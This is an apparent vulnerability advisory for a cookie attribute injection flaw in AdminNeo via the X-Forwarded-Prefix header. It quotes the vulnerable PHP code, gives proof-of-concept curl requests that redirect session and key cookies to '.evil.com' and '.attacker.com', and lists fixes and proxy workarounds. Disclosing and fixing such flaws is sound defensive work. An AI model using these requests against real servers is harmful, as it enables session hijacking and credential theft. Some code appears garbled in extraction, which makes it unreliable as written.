PT-2026-134412
CVE-2026-96631
·
Publicado
2026-10-30
·
Atualizado
2026-10-30
Descrição por
CVSS 3.1
8.2
AltaMétricasAV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Summary
AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the
X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g.,
Domain=.evil.com), causing the victim's browser to send AdminNeo's neo sid (session ID) and neo key (database password encryption key) cookies to the attacker's server on subsequent requests.Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h
Vulnerable Code
Root cause 1 - Unsanitized header prepended to
REQUEST URI
(admin/include/bootstrap.inc.php, lines 50–52):php
if ($ SERVER["HTTP X FORWARDED PREFIX"]) {
$ SERVER["REQUEST URI"] = $ SERVER["HTTP X FORWARDED PREFIX"] . $ SERVER["REQUEST URI"];
}The client-supplied
X-Forwarded-Prefix header is concatenated into REQUEST URI with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).Root cause 2 - Manual
Set-Cookie header construction without escaping
(admin/include/functions.inc.php, lines 416–424):php
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
header("Set-Cookie: $name=" . rawurlencode($value)
. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
. "; path=" . preg replace('~?.*~', '', $ SERVER["REQUEST URI"])
. (HTTPS ? "; secure" : "")
. "; HttpOnly; SameSite=lax",
false);
}The tainted
REQUEST URI is interpolated directly into the path= attribute of the Set-Cookie header. Since semicolons are not stripped or escaped, any ;-separated directives injected via X-Forwarded-Prefix become valid cookie attributes parsed by the browser.Root cause 3 - Session cookie also tainted
(
admin/include/bootstrap.inc.php, line 61):php
session set cookie params(0, preg replace('~?.*~', '', $ SERVER["REQUEST URI"]), "", HTTPS, true);The PHP session cookie (
neo sid) path is similarly derived from the tainted REQUEST URI, extending the same vulnerability to the session cookie set by PHP itself.Impact
- Session hijacking: The
neo sidsession cookie is sent to the attacker's domain, allowing full session takeover. - Credential theft: The
neo keycookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials. - Session fixation: An attacker can inject arbitrary
Path,SameSite, andSecureattributes, manipulating cookie behavior. - Wide applicability: The
X-Forwarded-Prefixheader was specifically added to support reverse proxy deployments (TraefikPathPrefixStrip, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.
Affected Cookies
|Cookie|Content|Risk|
|
neo sid|PHP session ID|Session hijacking|
|neo key|Encryption key for stored DB passwords|Credential theft|
|neo settings|User preferences|Low (information disclosure)|Proof of Concept
shell
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax
# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com"
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED
# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None"
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...Recommended Fix
- Sanitize
X-Forwarded-Prefix: Strip or reject semicolons, newlines, and other HTTP header metacharacters from theX-Forwarded-Prefixvalue before using it. - Use
setcookie()/setrawcookie(): Replace the manualheader("Set-Cookie: ...")construction incookie()with PHP's built-insetcookie()function, which properly escapes attribute values. - Validate
REQUEST URIbefore cookie use: After any prefix manipulation, strip characters that are invalid in a cookiepathattribute (;,,, whitespace per RFC 6265).
php
// Example fix for bootstrap.inc.php:
if ($ SERVER["HTTP X FORWARDED PREFIX"]) {
$prefix = preg replace('~[;r
].*~', '', $ SERVER["HTTP X FORWARDED PREFIX"]);
$ SERVER["REQUEST URI"] = $prefix . $ SERVER["REQUEST URI"];
}Server Based Workaround Via Config
Configure the reverse proxy to set
X-Forwarded-Prefix to a static, trusted value rather than forwarding the client-supplied header:nginx
# nginx — secure configuration:
fastcgi param HTTP X FORWARDED PREFIX /adminneo; # static value, not $http x forwarded prefixyaml
# Traefik, use middleware instead of client headers:
middlewares:
strip-prefix:
stripPrefix:
prefixes:
- "/adminneo"Explorabilidade
Correção
Impactos
Fornecedores
Produtos afetados
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾